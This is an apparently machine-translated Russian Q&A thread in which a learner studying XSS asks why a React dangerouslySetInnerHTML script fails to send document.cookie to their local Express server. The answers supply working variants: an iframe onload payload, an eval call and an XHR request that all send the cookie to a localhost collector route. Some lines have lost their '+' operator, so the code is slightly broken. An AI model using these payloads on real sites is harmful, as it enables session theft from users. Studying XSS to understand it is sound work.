Почему этот xss-скрипт не вызывает мой сервер?

#javascript #xss

#javascript #xss

Вопрос:

Я изучаю xss-атаки, чтобы лучше понимать безопасность приложений. Я пытаюсь выполнить основную задачу: получить пользовательский файл cookie на моем собственном локальном веб-сайте и отправить его на мой локальный сервер.

Мне удалось получить файл cookie с предупреждением. Но я не могу выполнить вызов api. Что в этом плохого:

Приложение React:

 <p dangerouslySetInnerHTML={{
  __html: `<script type="text/javascript">
           document.location='http://localhost:2021/xss?user=' document.cookie;
           </script>`,
}}
/>
          
    
 

На моем сервере:

 const app = require("express")();
const cors = require("cors");
app.use(cors());

app.get("/xss", (req, res) => {
const {user} = req.query
  res.send("it works", user);
});

app.listen(2021, () =>
  console.log("Server is waiting to read yummy cookies")
);
 

Маршрут /xss никогда не вызывается.

Комментарии:

1. Хорошо, тогда почему приложение React уязвимо? Я думал, что никогда не должен использовать setDangerousInnerHtml, потому что это позволило бы атаковать xss. Но если я не могу отправить какую-либо информацию на удаленный сервер, единственный способ по-настоящему взломать веб-сайт — это получить доступ к компьютеру пользователя, верно? Если возможно отправить файл cookie на сервер, как мне это сделать? Также спасибо за редактирование заголовка вопроса, я допустил глупую ошибку. РЕДАКТИРОВАТЬ: я видел ваш ответ ниже, спасибо!

Ответ №1:

Установка innerHTML не выполняет скрипт.

 document.getElementById("container").innerHTML=`<script>alert("hello")</script>Nothing happens` 
 <div id="container"></div> 

Попробуйте этот вместо

 <div dangerouslySetInnerHTML={{
  __html: `<iframe onload="document.location='http://localhost:2021/xss?user=' document.cookie;"></iframe>`,
}}
/>
 

Ответ №2:

Я действительно не знаю, что вы пытаетесь сделать. Но создание подобного тега скрипта не должно быть вашим решением. Проблема в том, что JavaScript не вызывается, потому что он не задан как JavaScript. Вы просто создаете текстовый узел внутри тега. Когда вы хотите вызвать JavaScript из строки, вы можете использовать eval функцию (которую я бы НЕ рекомендовал из-за проблем с безопасностью). Но в любом случае вот теперь вы можете его использовать:

 const script = `document.location='http://localhost:2021/xss?user=' document.cookie;`;
eval(script);
 

Но все же: не делайте этого!!!

Возможно, вы можете обратиться к delivery файл JavaScript с сервера и использовать src атрибут для его загрузки.

Когда вы просто хотите вызвать HTTP-запрос, вы можете использовать XHR. Подробную информацию по этой теме вы можете найти здесь. Но вкратце:

 const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:2021/xss?user='   document.cookie);
xhr.send();
 

Это должно выполнить работу без осложнений с безопасностью.